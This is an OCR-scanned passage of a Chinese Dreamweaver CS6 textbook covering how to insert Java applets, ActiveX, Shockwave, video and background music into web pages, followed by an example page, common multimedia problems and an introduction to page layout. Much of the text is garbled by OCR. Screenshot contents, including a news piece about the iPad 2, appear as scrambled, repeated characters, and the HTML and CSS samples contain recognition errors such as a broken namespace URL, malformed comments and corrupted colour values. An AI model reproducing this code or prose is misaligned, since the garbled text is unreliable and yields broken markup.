(3) 在 对 话 框 中 选择 要 插入 的 文件 , 单 击 “ 确 定 ” 按钮 , 即 可 在 文档 中 插入 Java Applet, 如 图 6-72 
所 示 。 


比 提 高 了 九 倍 。 他 说 ， 我 们 投身 于 这 个 产品 已 经 有 一 段 时 间 了 ， 我 可 不 想 诺 过 这 个 日 子 *”  ; 
广 休 引起 了 投资 者 的 担忧 尤其 是 因为 芋 果 没有 适 圳 他 病情 或 预后 89 具体 细节 。 他 普 在 2004 年 ; 


ea saraen sms ~ 


提高 了 九 售 。 他 泣 : 我 们 投身 于 这 个 产品 已 经 有 一 自 时 间 了 ， 我 可 不 想 拱 过 这 个 日 子 。” 
条 休 引 起 了 投资 者 的 担 慌 ， 尤其 是 因为 苹果 没有 生 著 他 病情 或 预后 的 具体 骨节 。 人 地 曾 在 2004 年 ; 
脐 胜 冶 ， 并 在 2009 年 近 6 个 月 的 一 次 病 帆 中 接受 了 肝脏 移植 。 接近 乔布斯 的 人 士 透 露 ， 他 的 
月 出 现 波 动 。 
始 讲 活 几 分 钟 后 ,苹果 公司 股价 上 张 超过 
也 开始 介绍 iPad 289 贱 节 时 ， 和 来 焉 有 所 回落 。 
重量 也 更 径 ， 在 美国 可 
商 一 一 AT&T 和 Verizon 和 9 网 
代 IPad 对 发布 时 的 价格 
;六 种 不 同型 号 定价 于 $499 有 |$829 之 间 。 
年 在 平板 电 脑 市 场 一 直 保持 领先 地 位 ， 去 年 
周三 ， 苹果 对 旧版 IPad 全 线 降价 100 美 元 
第 困 的 新 款 平 板 电 脑 在 美国 市 场 将 占据 80% 和 | 
份额， 也 就 是 总 计 2400 万 名 出 货 量 中 的 
]0 万 台 ， 理 由 是 jPad 2 技术 有 所 提升 ， 竞 争 产品 有 分 销 障碍 ， 且 价格 较 高 。 摩托 罗拉 
2torola)、 生 产 黑幕 (BlackBerry 和 9RIM 公 司 (Research in Motion)、 三 星 (Samsung) 及 其 人 
4 都 推出 了 竞争 的 平板 电脑 产品 ， 许 多 基于 谷歌 (Google 交 yAndrold 操 作 系统 。 乔布斯 称 ， 
或 内 的 其 他 企业 仍 在 追赶 第 一 代 IPad， 他 们 用 于 平板 电 肪 836 应 


珊 家 最 大 的 移动 运营 | 
ad 2 定价 与 2010 年 第 一 代 iPad 中 恢 布 时 的 价格 
司 ， 六 种 不 同型 号 定价 于 5499 妥 $829 之 间 。 革 | 
-年 在 平 顶 电 脑 市 场 一 直 保持 领先 地 位 ， 去 年 
苹果 对 旧版 IPad 全 线 降价 100 美 元 
苹果 的 新 款 平 板 电 脑 在 美国 市 场 将 占据 80% 的 | 
; 场 份额 ， 也 就 是 总 计 2400 万 各 出 货 黑 中 的 
000 万 各 ， 理 由 是 IPad 2 技术 有 所 提升 ， 竞 争 产品 有 分 销 障 碍 ， 且 价格 较 高 。 摩托 罗拉 
Motorola)、 生产 黑 募 (BlackBerry 光 JRIM 公 司 (Research in Motion)、 三 星 (Samsung) 及 其 他 企 
:也 都 推出 了 竞争 的 平板 电脑 产品 ， 许 条 基 于 谷歌 (Google 交 9Android 操 作 系 多 
舌 内 的 其 他 企业 仍 在 追赶 第 一 代 IPad， 他 们 用 于 平板 电 肪 89 应 用 程序 市 场 上 ， 最 多 也 只 有 
00 种 小 程序 。 而 苹果 应 用 商店 (App Store) 中 有 65.5 万 种 应 用 程序 。| 
3 种 小 程序 。 而 苹果 应 用 商店 (App Store) 中 有 6 5 万 种 应 用 程序 * 


图 6-71 选择 插入 点 6-72 插入 Java Applet 


(4) 在 “属性 ”面板 中 将 “ 宽 ” 设 置 为 400，“ 高 ”设置 为 274，“ 对 齐 ” 设 置 为 “居中 ”， 如 
图 6-73 所 示 。 


Dw mr 0 &” | RHm ”| nl 
了 [中 。 章 咕 ( 昌 ， 音 看 (V)， 手 N(I， 修改 (M) 从 式 (0) 他 人 (交友 (5) 量 口 W) 得 功 (H) 


区 EE 刘 拒 NC. 忆 . 
[ec 


北 也 都 扒 出 了 葬 妾 99 天 电 及 产品 ， 许 分 基 于 蔡 囊 (Go0gle 芍 9Anarol 
新 二 内 的 其 信 企 业 仍 在 站 证 第 一 优 iPa4， 人 们 再 于 平板 电 有 489 评 用 程序 市 1 
100 种 小 程 这 而 于 果 应 月 商店 App Store) 中 有 5.5 万 种 应 用 程序 。 


ne /Deskton/ 15/: 


。 章 布 斯 称 旋 ; 


已 对 内 [局 中 可 类 中 | 
的) 小 中 有 过 果 | 


6-73 ”设置 属性 


(5) 切换 到 拆 分 视图 ， 在 相应 的 位 置 输入 如 图 6-74 所 示 的 代码 。 
(6) 保存 文档 ， 按 F12 键 预 览 效果 。 


beighe="163" border= 


2000 太 全 


<div class="nc020302"> 


<div class="nc020303"> 
<p>- 


6-74 输入 代码 


6.5.3 插入 ActiveX 控件 


我 们 也 可 以 在 页 面 中 插入 ActiveX 控件 。ActiveX 控件 是 对 浏览 器 功能 的 一 种 扩展 , 但 是 它 只 能 在 
Windows 系统 的 正 浏览 器 上 运行 。ActiveX 控件 的 作用 和 插件 相同 ， 可 以 在 不 发 布 浏览 器 新 版 本 的 情 
况 下 扩展 浏览 器 的 能 力 。 

将 插入 点 置 于 网 页 中 要 插入 ActiveX 的 位 置 处 ， 选 择 “ 插 入 ”|“ 媒 体 ”| ActiveX 命令 ， 在 页 面 中 
插入 ActiveX， 选 中 该 ActiveX， 打 开 “ 属 性 ”面板 ， 如 图 6-75 所 示 ， 可 在 其 中 设置 相关 的 属性 。 


加 加 加 


回回 回回 


回回 网 加 


6.5.4 


ee 


国 Activeg 。 寞 0)32 ClassIDC) - 对 齐 史 [点 W 值 >] 
一 高 0 ?2 内 入 z) 门 源 文件 G) ] 

重 直 边 中 基 址 @) | 区 数 ， 

水 平 边 距 全) mm 数据 加) 普 换 图 像 7) [= 


图 6-75 “属性 ”面板 


名 称 : 用 来 标识 ActiveX 对 象 以 校本 撰写 的 名 称 。 

宽 和 高 : 用 来 指定 对 象 的 宽度 和 高 度 。 

ClassID: 为 浏览 器 标识 ActiveX 控件 ， 输 入 一 个 值 或 者 从 弹出 菜单 中 选择 一 个 值 。 浏 览 器 使 
用 该 类 ID 来 确定 与 该 页 面 关联 的 ActiveX 空间 所 需 的 ActiveX 的 位 置 。 

撕 入 : 在 object 标记 内 添加 embed 标记 。 

对 齐 : 用 来 确定 对 象 在 网 页 上 的 对 齐 方式 。 

参数 : 传递 给 ActiveX 的 附加 参数 。 

源 文件 : 定义 如 果 启 用 了 “嵌入 ”选项 ， 将 要 用 于 Netscape Navigator 插件 的 数据 文件 。 如 果 
没有 输入 值 ， 则 Dreamweaver 自己 确定 该 值 。 

垂直 边 距 和 水 平 边 距 : 用 来 指定 对 象 上 下 和 左右 的 间距 。 

基 址 : 用 来 指定 包含 该 ActiveX 控件 的 URL。 

替换 图 像 : 指定 浏览 器 不 支持 object 标记 情况 下 需要 显示 的 图 像 。 

数据 : 为 要 加 载 的 ActiveX 控件 指定 数据 文件 。 


插入 Shockwave 动画 


Shockwave 是 网 页 中 交互 式 多 媒体 的 业界 水 准 。 打 开 网 页 文档 ， 将 插入 点 置 于 网 页 中 要 插入 
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Shockwave 动画 的 位 置 处 ， 选 择 “ 插 入 ”|“ 媒 体 ”| Shockwave 命令 ， 在 页 面 中 插入 Shockwave， 选 中 
该 Shockwave， 打 开 “ 属 性 ”面板 ， 如 图 6-76 所 示 ， 可 在 其 中 设置 相关 的 属性 。 
[BI Dp 


洁 Sdn NF 文件 四 全 已 背景 商 色 G) [J 
1 
重 直 边 距 () ET 
水 平 边 距 全) 5 


图 6-76 “属性 ”面板 


Shockwave 名 称 文本 框 : 设置 Shockwave 的 名 称 。 
宽 和 高 : 设置 动画 在 浏览 器 显示 的 宽度 和 高 度 。 
文件 : 用 来 设置 Shockwave 动画 文件 的 地 址 。 
垂直 边 距 和 水 平 边 距 : 用 来 设置 Shockwave 在 上 下 和 左右 方向 上 和 其 他 元 素 的 距离 。 
背景 颜色 : 指定 动画 区 域 的 背景 颜色 。 
对 齐 : 设置 动画 和 页 面 的 对 齐 方式 。 
[E 播放 “: 单 击 该 按钮 ， 可 以 看 到 Shockwave 动画 的 播放 效果 ， 同 时 “播放 ” 变 成 “停止 ”， 
单 击 “ 停 止 ”按钮 ， 就 会 停止 播放 Shockwave 动画 。 
名 要 单 击 此 按钮 ， 弹 出 “参数 ”对 话 框 ， 在 此 对 话 框 中 可 以 输入 其 他 要 传递 给 动画 的 
参数 。 


6.5.5 ”插入 视频 


网 页 中 的 某 些 内 容 可 以 用 音乐 播放 、 视 频 播放 等 媒体 形式 来 表现 。 音 乐 和 视频 一 般 是 以 网 页 插件 
的 形式 插入 的 。 在 打开 这 个 网 页 时 ， 网 页 会 自动 调用 系统 默认 的 播放 器 播放 这 些 内 容 。 

(1) 新 建 一 个 HTML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg617.html。 

(2) 选择 “插入 ”| “媒体 ”| “插件 ”命令 ， 在 网 页 中 插入 视频 插件 。“ 选 择 文件 ”对 话 框 如 
图 6-77 所 示 。 


园 图 回回 加 加 加 


加 


EJ| 


过 和 文中 各自: 和 
和 戎 到 站 占 和 妥 5 器 
查找 范 辕 ): [norweb -GY Om- 
EE | 馈 g 昌 明 | | 类 型 |-| 大 小 | -| 
上 jaeery 2014/9/8 2 -。 文件 
html 2014/5/15 40ML 文件 1 
hel 2014/S/1s Hm 文件 1m 
司 1-3 ht 2014/S115 .， IL 文件 1 再 
国 Wntitled-l htnl 2014/918 2 .， OIL 文件 1 三 
文 站 名 四 玫 确定 
文件 类 型 中 [所 有 文件 *) nn 


WR: | 
于: FE 本 ua 
在 直上 定义 中 重量 的 这 二 


图 6-77 “选择 文件 ”对 话 框 


网 页 制作 与 网 站 建设 技术 详解 


(3) 在 “文件 名 ”文本 框 中 输入 一 个 多 媒体 视频 的 URL 地 址 “mms://video0.people.com.cn/tv/ 
1860-110402.wmv”。 这 是 人 民 网 上 面 的 一 段 新 闻 视频 文件 。 单 击 “ 确 定 ”按钮 ， a haa 

(4) 在 设计 视图 中 选择 这 个 插件 ， 然 后 在 “属性 ”面板 中 设置 插件 的 宽度 和 高 度 。 在 “ 宽 ” 文 本 
框 中 输入 “336”， 在 “高 ”文本 框 中 输入 “256”， 如 图 6-78 所 示 。 


属性 
插件 寞 各 356 | 源 文件 GS) ,ctw/1880-110402 my 对齐 风 | 黑 认 值 >] 
这 高 00 256 ”插件 URLO) 怕 PF 五 克 ] 
垂直 边 距 9) 边框 ) 
水 平 边 距 代 ) [多数 ..，] 


图 6-78 设置 插件 
(5) Dreamweaver CS6 设计 视图 中 的 插件 如 图 6-79 所 示 。 
(6) 保存 文件 并 按 F12 键 运行 网 页 ， 网 页 中 的 视频 播放 效果 如 图 6-80 所 示 。 在 打开 网 页 时 ， 浏 
览 器 会 下 载 视 频 文件 并 自动 调用 媒体 播放 器 播放 这 一 段 视 频 。 用 户 可 以 用 媒体 播放 器 上 的 工具 对 视频 
的 播放 进行 控制 。 


Bm Windows temet pio ee) 
(XIe 站 ] Ework\write-mdf > [#7 | X x] 


一 


收藏 闪 | 乱 视 到 从 ~ 


好 4 一 
午 计算 机 | 保护 模式 禁用 = 3 ”下 1006 > 省 
图 6-79 设计 视图 中 的 插件 图 6-80 在 网 页 中 播放 视频 文件 


(7) 视频 播放 的 代码 。 在 插入 一 个 插件 时 ，Dreamweaver CS6 自动 插入 了 插件 的 代码 。 
用 这 个 方法 也 可 以 在 网 页 中 播放 一 段 音乐 。 网 页 运行 时 ， 用 户 可 以 用 播放 器 上 的 工具 对 音乐 的 播 
放 进 行 控制 。 网 页 中 插入 视频 插件 的 代码 如 下 : 


<embed src="mms://video0.people.com.cm/tw1860-110402.wmv” 
width="336" height="256"></embed> 


6.5.6 ”插入 网 页 背景 音乐 网 页 


网 页 中 插入 了 一 段 背景 
的 音乐 不 同 的 是 ， 插 入 的 背 
乐 的 播放 进行 控制 。 

(1) 新 建 一 个 HIML 网 页 ， 保 存在 文件 夹 “E:\eg\” 下 ， 文 件 名 为 eg618.html。 


人 的 


乐 以 后 ， 网 页 就 会 有 很 好 的 听觉 效果 。 与 在 网 页 中 插入 一 段 播放 器 播放 
音乐 是 网 页 运行 时 自动 播放 的 ， 网 页 上 并 不 出 现 播放 器 ， 用 户 不 能 对 音 


立 . 
再 
量 
下 


和 6 总 所 作 页 面 内 安 和 谋 信 于 于 上 


(2) 在 网 页 的 代码 区 <body> 标 签 的 后 面 一 行 ， 输 入 下 面 的 代码 。 
<bgsound src="http://www.chneic.sh.cn/education/Six/jiaoshi3/zhongguo/11/muzic/ 刘 德 华 -中 国人 .mp3" /> 


(3) 保存 文件 并 按 F12 键 运行 网 页 。 浏 览 器 会 下 载 所 设置 的 背景 音乐 的 文件 并 进行 播放 。 

网 页 中 插入 的 视频 、 音 乐 等 是 计算 机 都 可 以 播放 的 文件 。 一 般 要 求 是 系统 的 媒体 播放 器 可 以 播放 
的 文件 ， 如 MP3、WMA、WMYV 等 文件 都 可 以 被 所 有 计算 机 播放 。 有 些 需 要 专用 播放 器 来 播放 的 媒体 
文件 网 页 可 能 无 法 打开 。 


6.6 实例 : 制作 图 文 混 排 的 多 媒体 页 面 


学 习 了 网 页 内 容 和 多 媒体 内 容 的 插入 以 后 ， 就 可 以 设计 有 很 好 效果 的 网 页 了 。 下 面 实例 将 设计 一 
个 有 多 种 多 媒体 效果 的 网 页 。 

(1) 在 计算 机 的 “E\” 抢 中 新 建 一 个 文件 夹 eg2。 双 击 进入 这 个 文件 夹 ， 新 建 一 个 网 页 的 图 片 文 
件 夹 images。 将 本 书 光盘 “\ 源 文件 \06\ 图 片 文件 ”下 面 的 5 张 图 片 复制 到 images 文件 夹 下 。 

(2) 在 Dreamweaver CS6 中 选择 “文件 ”| “新 建 ” 命 令 ， 新 建 一 个 HTML 网 页 。 

(3) 选择 “文件 ”| “另存 为 ”命令 ， 将 文件 保存 到 “E:\eg2” 文 件 夹 下 ， 文 件 名 为 index.htm。 

(4) 如 6.4.4 节 中 的 步骤 ， 利 用 Dreamweaver CS6 自动 生成 一 个 CSS 样式 表 文 件 。 文 件 保存 在 
“E:veg2” 文 件 夹 下 ， 文 件 名 为 css.css。 

(5) 链接 样式 表 。 右 击 文档 空白 处 ， 在 弹出 的 快捷 菜单 中 选择 “CSS 样式 ”| “附加 样式 表 ” 命 
令 ， 添 加 一 个 样式 。 单 击 “ 浏 览 ” 按 钮 ， 浏 览 步 骤 (4) 生成 的 样式 表 文 件 css.css， 如 图 6-81 所 示 。 
单 击 “ 确 定 ”按钮 ， 完 成 设置 。 

(6) 在 网 页 中 输入 文本 ， 如 图 6-82 所 示 。 


如 体 人 0): - 
您 也 可 以 输入 逗号 分 隔 的 媒体 类 型 列表 。 


eanweayer 的 范例 样式 志 可 以 帮助 您 起 步 。 


图 6-81 网 页 中 链接 样式 表 文 件 图 6-82 在 网 页 中 输入 文本 


(7) 选择 第 一 行文 本 ， 然 后 在 “属性 ”面板 的 “目标 规则 ”下 拉 菜 单 中 选择 title 样式 ， 如 图 6-83 
所 示 。 

(8) 用 与 步骤 (7) 相同 的 方法 ， 对 第 二 行 、 第 三 行文 本 使 用 title 样式 。 使 用 了 样式 的 文本 如 
图 6-84 所 示 。 

(9) 在 第 一 行文 本 的 下 一 行 继续 输入 文本 ， 如 图 6-85 所 示 。 


_ 加 ) 


《>imm 目标 规则 “title 字体) Verdana, rial, Helvetics san v 
好 cs [[ 玉 规 则 [css 而 株 g) ] 大 小 5) 13 


日 妓 加 的 我 走 了 ， 正 加 我 轻 各 的 来 ; 
上 了 我 各 各 的 招手 ， 作 别 西天 的 云彩 。 
， 是 为 阳 中 的 新 娘 ; 
流光 里 的 忱 影 ， 在 我 的 心头 落 澜 。 


6-84 文本 使 用 了 title 样式 的 效果 6-85 在 网 页 中 输入 文本 


(10) 选择 输入 的 文本 ， 用 与 步骤 (7) 相同 的 方法 ， 设 置 文本 的 样式 为 subtitle。 

(11) 单 击 “ 我 的 图 片 ” 文 本 的 下 一 行 ， 选 择 这 个 位 置 。 选 择 “ 揪 入 ”| “表格 ”命令 ， 弹 出 的 
“表格 ”对 话 框 ， 如 图 6-86 所 示 。 在 “ 行 数 ”文本 框 中 输入 “1”， 在 “ 列 ” 文 本 框 中 输入 “4”, 在 
“表格 宽度 ”文本 框 中 输入 “800”， 单 击 “ 确 定 ” 按 钮 ， 完 成 设置 。 

(12) 插入 表格 后 Dreamweaver CS6 的 设计 视图 如 图 6-87 所 示 。 


ws 


行 数 1 殊 4 
委 格 宽度 : 800 [像素 =] 
边框 粗 细 : 1。 像素 
单元 格 辽 下: 1。 | 国 | 
单元 格 间距 。 田 


年 轻 的 我 走 了 ， 正 各 我 径 轻 的 灯 ， 
我 各 轻 的 招手 ， 作 别 西天 的 云 条 。 
著 河 各 的 全 丁 ， 是 了 间 中 的 新 拆 : 
凌 光 里 的 艳 影 ， 在 找 的 心头 泗 汪 。 


图 6-86 插入 表格 的 设置 图 6-87 插入 表格 以 后 的 设计 视图 
(13) 在 表格 的 第 一 个 单元 格 中 单 击 ， 再 单 击 “ 常 用 ”工具 栏 上 的 “图 像 ” 工 具 ， 在 “选择 图 像 
源 文件 ”对 话 框 中 选择 文件 夹 images 下 面 的 图 片 al.JPG。 单 击 “ 确 定 ” 按 钮 ， 完 成 图 片 插入 。 
(14) 选择 这 张 图 片 ,在 图 片 的 “属性 ”面板 中 设置 图 片 的 高 度 为 100， 宽 度 为 130。 用 与 步骤 (13) 
相同 的 方法 在 后 面 3 个 单元 格 中 分 别 插入 图 片 a2.JPG、a3.JPG、a4.JPG。 插 入 的 图 片 如 图 6-88 所 示 。 


@ 


和 6 总 提 作 页 面 内 安 和 集体 于 于 上 


| ! PPPTPP ,FPFTPP ;PTYPP ,PTT ,FFPPPR PPPPP PPP FFPPPP ,PPP PPP ,PPPPP ,PPE 1 PPP ,FT 
该 光 里 的 艳 影 ， 在 我 的 心头 渐 潭 


我 的 图 片 


6-88 在 网 页 中 插入 的 图 片 


(15) 在 最 后 一 行文 本 后 面 单 击 。 选 择 “ 插 入 ”| “媒体 ”| “插件 ”命令 ， 在 网 页 中 插入 视频 插 
件 。 在 “选择 文件 ”对 话 框 的 “文件 名 ”文本 框 中 输入 “mms://video0.people.com.cn/tv/1860-110402.wmv”， 
插入 的 视频 会 下 载 网 络 上 的 视频 。 单 击 “ 确 定 ” 按 钮 ， 完 成 视频 的 插入 。 

(16) 在 设计 视图 中 选择 所 插入 的 插件 ， 在 “属性 ”面板 中 设置 插件 的 宽度 为 200， 高 度 为 150。 
Dreamweaver CS6 的 设计 视图 如 图 6-89 所 示 。 

(17) 保存 文件 并 按 F12 键 运行 网 页 。 网 页 中 插入 的 视频 会 自动 下 载 网 络 上 的 视频 进行 播放 。 网 
页 的 运行 效果 如 图 6-90 所 示 。 
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图 6-89 网 页 设计 视图 中 的 插件 图 6-90 ”网 页 的 运行 效果 


(18) 查看 网 页 的 代码 。 下 面 是 这 个 网 页 的 代码 。 


<html xmlns="http:/www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title> 个 人 主页 </title> 
<link href="css.css" rel="stylesheet" type="text/css" /> < 上 -链接 样式 -> 
</head> 
<body> 
<p class="title"> 我 的 个 人 主页 </p> 
<p><span class="subtitle"> 轻 轻 的 我 走 了 7 了， 正如 我 轻 轻 的 来 ; <br/> <!- 对 span 标签 使 用 样式 --> 
我 轻 轻 的 招手 ， 作 别 西 天 的 云彩 。<br /> 
那 河畔 的 金 柳 ， 是 夕阳 中 的 新 娘 ; <br /> 
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波光 里 的 艳 影 ， 在 我 的 心头 荡漾 。</span><br /> 


</p> 
<p class="title"> 我 的 图 片 </p> <!-- 使 用 title 样式 --> 
<table width="649" border="1" align="center" cellpadding="1" cellspacing="2"> 
<tr> < 上 -用 表格 实现 图 片 的 排列 -> 


<td height="140"><div align= "right"><img src="images/a1.JPG" width="150" height="100" /></div></td> 
<td ><div align="right"><img src="images/a2.JPG" width="150" height="100" /></div></td> 
<td ><div align="right"><img src="images/a3.JPG" width="150" height="100" /></div></td> 
<td ><div align="right"><img src="images/a4.JPG" width="150" height="100" /></div></td> 
</tr> 
</table> 
<p class="title"> 视 频 播放 </p> 
<div align="center"> < 上 -视频 播放 的 插件 --> 
<embed src="mms://video0.people.com.cn/tv/1860-110402.wmv" width="200" height="150"></embed> 
</div> 


</body> 
</html> 


6.7 常见 问题 


网 页 中 插入 的 多 媒体 元 素 ， 可 能 遇 到 文件 大 小 、 格 式 不 能 播放 等 问题 。 在 网 页 中 使 用 多 媒体 元 素 


时 ， 需 要 考虑 到 显示 效果 和 网 络 速度 等 因素 。 本 节 将 讲述 在 网 页 中 插入 多 媒体 元 素 时 常见 的 问题 。 
6.7.1 网 页 中 Flash 动画 大 小 的 问题 


网 页 中 的 Flash 可 以 同 图 片 一 样 设置 动画 的 宽度 和 高 度 , 但 是 动画 设置 高 度 和 宽度 以 后 , 会 出 现 显 


示 不 正常 的 问题 。 


Flash 是 矢量 动画 图 像 ， 需 要 以 制作 时 的 比例 进行 播放 。 如 果 设 置 以 后 的 比例 不 正常 或 与 原 有 比例 


不 一 致 ， 在 播放 时 就 会 在 某 一 方向 空 出 比例 不 正确 的 一 部 分 ， 留 出 两 道 黑色 或 白色 的 边 。 所 以 ，Flash 
在 设置 宽度 和 高 度 时 应 根据 以 前 的 比例 计算 需要 设置 的 宽度 和 高 度 。 如 图 6-91 所 示 是 Flash 插入 时 设 
置 的 大 小 与 原 Flash 大 小 比例 不 相同 ， 导 致 播放 时 不 能 完全 显示 Flash 区 域 。 
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图 6-91 Flash 播放 时 的 比例 问题 
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6.7.2 ”网 页 中 音乐 或 视频 文件 不 能 播放 的 问题 


如 果 网 页 中 插入 的 视频 或 音乐 文件 在 某 些 计算 机 中 无 法 播放 ， 可 以 在 网 页 上 提供 下 载 播放 这 一 段 
视频 或 音乐 的 播放 器 的 链接 。 用 户 在 无 法 播放 时 ， 可 以 在 这 个 链接 上 下 载 这 个 播放 器 ， 安 装 以 后 进行 
播放 ， 也 可 以 在 网 页 上 给 出 无 法 播放 时 的 解决 方法 ， 如 图 6-92 所 示 。 


如 果 影 片 无 法 正常 播放 ， 请 下 载 安装 REALONE 播 放 器 。 
下 载 地 址 ， 若 凡 下 载 中 关 村 下 载 


RE 


6-92 ”影片 无 法 播放 时 提供 播放 器 下 载 链接 


6.7.3 网 页 中 音乐 或 视频 文件 大 小 的 问题 


网 页 中 的 视频 或 音乐 文件 常常 很 大 ， 这 在 网 速 不 理想 的 情况 下 ， 可 能 导致 网 页 无 法 打开 或 视频 音 
频 文件 很 久 以 后 不 能 播放 。 

解决 办 法 是 选择 比较 好 的 文件 格式 ， 把 视频 或 音频 转换 成 文件 较 小 或 可 以 实时 播放 的 格式 。 也 可 
以 用 相关 的 视频 音频 压缩 软件 对 文件 进行 一 定 的 压缩 处 理 。 


6.7.4 网 页 中 对 象 不 同属 性 的 优先 级 问题 


网 页 中 的 同一 元 素 ， 可 能 在 不 同位 置 或 不 同方 法 对 相关 属性 进行 不 同 的 设置 。 网 页 在 显示 时 ， 会 
按照 不 同 的 优先 级 选择 和 取舍 不 同 的 设置 。 例 如 下 面 的 网 页 代码 。 


<html> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 

<title> 不 同样 式 的 优先 级 </title> 

<style type="text/css"> 

<!I-- body,td,th { font-size: 12px:; 
color: #000000;} 

body {background-color: #FFFFFF:;} 

p{ background-color: 证 FFFFF; 
font-size: 14px; 
color #000099;} 

big { background-color 证 FFFFF; 


Nas mw a 


font-size: 16px; 
color: #660000;} 
ey nea 
<p> 样 式 1<font color="#000033" size="+2"> 样 式 2 
<font color="#110011" size="15px"> 样 式 3</font></font></p> 
</body></html> 
在 这 段 代码 中 , 文本 “样式 3” 可 能 受到 网 页 中 body 样式 的 控制 、p 样式 的 控制 和 两 次 <font> 标 签 
中 样式 的 控制 。 在 这 种 情况 下 ， 浏 览 器 会 对 不 同 的 设置 做 出 一 些 优先 级 的 选择 和 组 合 。 浏 览 器 一 般 是 
按 以 下 原则 进行 样式 的 优先 级 选择 和 组 合 。 
浏览 器 选择 的 一 般 优先 级 是 : 链接 的 外 部 样式 表 文 件 一 网 页 内 部 样式 表 文件 一 网 页 元 素 的 样 
式 设置 一 内 层 设置 标记 。 
回 ”在 对 同一 属性 有 不 同 的 设置 时 ， 浏 览 器 会 选择 最 内 层 的 设置 。 
在 对 同一 元 素 的 不 同位 置 进行 不 同属 性 的 设置 时 , 浏览 器 会 把 这 些 属 性 组 合 在 一 起 全 部 使 用 。 
所 以 在 进行 实际 设置 需要 使 用 不 同 的 样式 组 合 时 ， 可 以 对 元 素 使 用 多 次 样式 ， 使 不 同样 式 的 不 同 
属性 添加 在 一 起 对 一 个 元 素 进行 设置 。 


6.7.5 ”网 页 粘贴 文本 时 的 格式 问题 


在 网 页 设计 时 ， 常 需要 将 文本 从 另 一 个 软件 复制 到 Dreamweaver 设计 视图 中 进行 粘贴 。 在 进行 这 
样 的 操作 时 ， 常 会 把 以 前 软件 中 设置 的 文本 格式 附带 到 Dreamweaver 中 ， 需 要 重新 设置 文本 的 格式 。 

正确 的 做 法 是 ， 可 以 把 文本 粘贴 到 记事 本 中 ， 消 除 文本 的 格式 ， 且 可 以 保留 文本 的 换行 和 空格 的 
格式 ， 再 把 文本 复制 粘贴 到 Dreamweaver 的 设计 视图 中 。 


6.8 小 结 


本 章 讲解 了 Dreamweaver 中 网 页 设计 的 一 些 基 本 操作 ， 用 这 些 基本 操作 可 以 设计 出 各 种 各 样 的 网 
页 。 这 些 是 进行 网 页 设计 的 基础 。 网 页 设计 时 ， 对 文本 、 图 片 、 多 媒体 等 内 容 进行 排版 和 设置 ， 最 终 
设计 成 需要 的 网 页 。 

网 页 排版 的 原理 很 简单 ， 但 是 需要 在 实际 中 学 习 并 长 期 练习 ， 在 设计 中 掌握 实际 经 验 。 
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网 站 的 设计 ,不仅 体 现在 具体 内 容 与 细节 的 设计 制作 上 ， 也 需要 对 框架 进行 整体 的 把 
担 。 在 进行 网 站 设计 有 时， 需要 对 网 站 的 版 面 与 布局 进行 一 个 整体 性 的 规划 。 这 就 是 网 站 的 
布局 。 

本 章 主要 讲解 网 站 布局 的 概念 和 一 些 常见 的 网 站 布局 的 形式 。 本 章 网 页 布局 的 学 习 ， 
是 对 整体 思路 的 把 握 ， 以 形成 明晰 的 布局 概念 ， 其 中 的 几 种 常用 的 网 页 布局 类 型 是 本 章 的 
重点 内 容 。 后 面 的 章节 将 会 详细 讲解 这 些 布局 类 型 的 实现 。 
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7.1 页 面 的 基本 构成 


网 页 的 构成 可 以 从 网 页 内 容 的 表现 形式 与 网 页 的 布局 两 种 方式 区 分 。 
从 网 页 内 容 的 表现 形式 上 讲 ， 网 页 页 面 可 以 分 为 文字 内 容 、 图 片 内 容 、 链 接 内 容 、 动 画 内 容 、 声 
音 视 频 内 容 等 表现 形式 。 这 些 不 同 的 表现 形式 共同 构成 整个 网 页 的 内 容 。 
从 网 页 的 布局 上 来 说 ， 网 页 可 以 分 为 Logo、Banner、 导 航 条 、 网 页 内 容 、 网 页 链接 、 版 权 栏 等 内 
容 。 如 图 7-1 所 示 为 一 个 网 页 的 基本 构成 。 
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图 7-1 一 个 网 页 的 基本 构成 


Logo: Logo 的 本 义 就 是 一 个 标志 。 网 站 的 Logo 可 以 理解 为 代表 一 个 网 站 的 标志 ， 一 个 网 站 
需要 设计 出 一 个 有 鲜明 特色 的 Logo。Logo 的 主要 作用 是 提供 其 他 网 站 指向 自己 网 站 的 链接 ， 
在 某 些 场合 代表 自己 的 网 站 。 一 个 优秀 的 Logo 可 以 很 好 地 体现 网 站 的 内 容 与 特征 , 给 用 户 留 
下 深刻 的 印象 。 

Banner: 就 是 一 个 横幅 广告 。 一 个 网 站 中 常常 需要 以 一 些 广告 的 形式 表现 网 站 的 重要 内 容 。 
这 些 广告 可 以 制作 成 图 片 或 动画 的 形式 ， 有 鲜艳 的 颜色 与 很 好 的 创意 。Banner 是 体现 网 站 重 
要 内 容 的 一 种 常用 形式 。 

导航 条 : 网 站 的 常用 链接 放置 在 一 起 ， 以 一 定 的 方式 排列 ， 就 是 网 站 的 导航 条 。 一 般 的 网 站 
都 有 一 个 方便 用 户 使 用 的 导航 条 。 

网 页 内 容 : 网 页 中 表现 网 页 内 容 的 区 域 。 网 站 内 容 是 一 个 网 页 的 重要 部 分 。 

网 页 链接 : 网 页 中 指向 本 网 站 其 他 内 容 或 其 他 网 站 内 容 的 链接 。 一 个 网 页 常常 无 法 容纳 全 部 
内 容 ， 需 要 用 链接 指向 其 他 相关 的 内 容 。 链 接 的 制作 要 考虑 到 用 户 的 实用 性 。 

版 权 栏 : 网 站 的 底部 常常 需要 标注 网 站 内 容 的 版 权 与 相关 信息 ， 制 作 一 些 常用 的 网 站 帮助 、 
版 权 说 明 、 联 系 方式 等 链接 。 


在 网 站 设计 时 ， 需 要 对 网 页 的 版 本 做 出 一 个 大 体 规 划 。 如 图 7-2 所 示 是 一 种 最 常用 的 网 页 布局 形 
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式 。 在 这 种 网 页 布局 中 , Logo 与 Banner 放置 在 网 站 的 最 上 端 。 导 航 条 以 一 排 或 几 排 的 形式 放置 在 用 户 
方便 使 用 的 位 置 。 网 页 主要 区 域 的 左 侧 集中 放置 网 站 的 链接 ， 右 侧 集中 放置 网 页 的 主要 内 容 ， 最 下 方 
放置 网 页 的 版 权 栏 。 这 种 网 页 布局 非常 方便 用 户 的 使 用 。 
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图 7.2 一 种 常用 的 网 站 布局 
7.2 网 页 排版 方法 


